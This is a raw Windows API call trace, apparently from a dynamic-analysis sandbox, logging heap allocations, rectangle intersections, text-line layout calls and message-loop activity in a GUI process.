[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.275] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.275] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.275] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.275] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.276] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.276] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.276] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.276] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.276] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.276] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.276] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.276] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.276] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.276] LsSetDoc () returned 0x0
[0117.276] LsCreateLine () returned 0x0
[0117.276] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.276] LsDestroyLine () returned 0x0
[0117.276] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.277] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.277] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.277] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.277] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.277] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.277] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.277] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.277] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.277] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.277] LsSetDoc () returned 0x0
[0117.277] LsCreateLine () returned 0x0
[0117.277] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.277] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.277] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] LsdnFinishRegular () returned 0x0
[0117.278] LsQueryLinePointPcp () returned 0x0
[0117.278] LsDestroyLine () returned 0x0
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.278] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.278] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.278] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.278] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.279] GetCursor () returned 0x10005
[0117.279] GetCurrentThreadId () returned 0x4e0
[0117.279] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.279] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.279] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.279] GetMessageTime () returned 43352
[0117.279] GetMessagePos () returned 0x1c4031f
[0117.279] GetCapture () returned 0x0
[0117.279] GetCurrentThreadId () returned 0x4e0
[0117.279] GetCurrentThreadId () returned 0x4e0
[0117.279] GetCurrentThreadId () returned 0x4e0
[0117.279] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.279] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.279] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.279] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.279] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.279] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.279] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.280] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.280] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.280] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.280] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.280] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.280] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.280] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.280] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.280] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.280] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.280] LsSetDoc () returned 0x0
[0117.280] LsCreateLine () returned 0x0
[0117.280] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.281] LsDestroyLine () returned 0x0
[0117.281] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.281] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.281] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.281] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.281] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.281] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.281] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.281] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.281] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.281] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.281] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.281] LsSetDoc () returned 0x0
[0117.281] LsCreateLine () returned 0x0
[0117.281] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.281] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.282] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] LsdnFinishRegular () returned 0x0
[0117.282] LsQueryLinePointPcp () returned 0x0
[0117.282] LsDestroyLine () returned 0x0
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.282] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.282] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.283] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.283] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.283] GetCurrentThreadId () returned 0x4e0
[0117.283] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.283] NtdllDefWindowProc_W () returned 0x0
[0117.283] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.283] GetCurrentThreadId () returned 0x4e0
[0117.283] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.283] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.283] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.283] GetCurrentThreadId () returned 0x4e0
[0117.283] GetCurrentThreadId () returned 0x4e0
[0117.284] GetCurrentThreadId () returned 0x4e0
[0117.284] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.284] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.284] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.284] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.284] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.284] GetCurrentThreadId () returned 0x4e0
[0117.284] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.284] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.285] GetMessageTime () returned 43352
[0117.285] GetMessagePos () returned 0x1c4031f
[0117.285] GetCapture () returned 0x0
[0117.285] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.285] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.286] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.286] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.286] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.286] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.286] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.286] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.286] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.286] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.286] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.286] LsSetDoc () returned 0x0
[0117.286] LsCreateLine () returned 0x0
[0117.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.286] LsDestroyLine () returned 0x0
[0117.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.287] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.287] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.287] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.287] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.287] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.287] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.287] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.287] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.287] LsSetDoc () returned 0x0
[0117.287] LsCreateLine () returned 0x0
[0117.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.287] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.287] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
